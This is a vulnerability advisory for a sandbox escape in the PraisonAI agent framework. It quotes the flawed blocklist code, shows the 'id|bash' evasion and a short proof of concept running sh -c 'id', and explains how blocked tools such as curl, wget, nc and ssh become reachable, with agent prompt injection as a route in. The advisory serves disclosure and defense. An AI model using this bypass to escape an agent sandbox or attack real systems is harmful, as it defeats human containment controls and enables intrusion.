PraisonAI Has Sandbox Escape via shell=True and Bypassable Blocklist in SubprocessSandboxGHSA-r4f2-3m54-pp7q
HIGHGHSA-r4f2-3m54-pp7q is a high-severity (CVSS 8.8) OS Command Injection vulnerability in praisonai. A fix is available for praisonai — see the affected versions and patch details below.
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for GHSA-r4f2-3m54-pp7q.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
praisonaiReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
SubprocessSandbox in all modes (BASIC, STRICT, NETWORK_ISOLATED) calls subprocess.run() with shell=True and relies solely on string-pattern matching to block dangerous commands. The blocklist does not include sh or bash as standalone executables, allowing trivial sandbox escape in STRICT mode via sh -c '<command>'.
Details
sandbox_executor.py:179 (source) -> sandbox_executor.py:326 (sink)
# source -- string-pattern blocklist, sh and bash not in blocked_commands
cmd_name = Path(parts[0]).name
if cmd_name in self.policy.blocked_commands: # sh, bash not blocked
raise SecurityError(...)
dangerous_patterns = [
("| sh", ...), # requires space -- "id|bash" evades this
("| bash", ...), # requires space
]
# sink -- shell=True spawns /bin/sh regardless of sandbox mode
result = subprocess.run(
command,
shell=True,
...
)
PoC
# tested on: praisonai==4.5.87 (source install)
# install: pip install -e src/praisonai
import sys
sys.path.insert(0, 'src/praisonai')
from praisonai.cli.features.sandbox_executor import SubprocessSandbox, SandboxPolicy, SandboxMode
policy = SandboxPolicy.for_mode(SandboxMode.STRICT)
sandbox = SubprocessSandbox(policy=policy)
result = sandbox.execute("sh -c 'id'")
print(result.stdout)
# expected output: uid=1000(narey) gid=1000(narey) groups=1000(narey)...
Impact
Users who deploy with --sandbox strict have no meaningful OS-level isolation. Any command blocked by the policy (curl, wget, nc, ssh) is trivially reachable via sh -c '<blocked_command>'. Combined with agent prompt injection, an attacker can escape the sandbox and reach the network, filesystem, and cloud metadata services.
Suggested Fix
import shlex
result = subprocess.run(
shlex.split(command),
shell=False,
cwd=cwd,
env=env,
capture_output=capture_output,
text=True,
timeout=timeout
)
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | praisonai | all versions | 4.5.97pip install --upgrade 'praisonai==4.5.97' |
Affected Products
praisonaipraisonDetection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for praisonai, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update praisonai to 4.5.97 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-r4f2-3m54-pp7q is resolved across your whole dependency graph.
Workarounds
Stop passing untrusted input into the interpreter or shell: call the affected binary with an argument array rather than a composed command string, reject anything outside a strict allowlist of expected values, and run the component under an account that cannot reach beyond the work it legitimately does.
Frequently Asked Questions
Is GHSA-r4f2-3m54-pp7q in your dependencies?
Find it across PyPI, including transitive dependencies.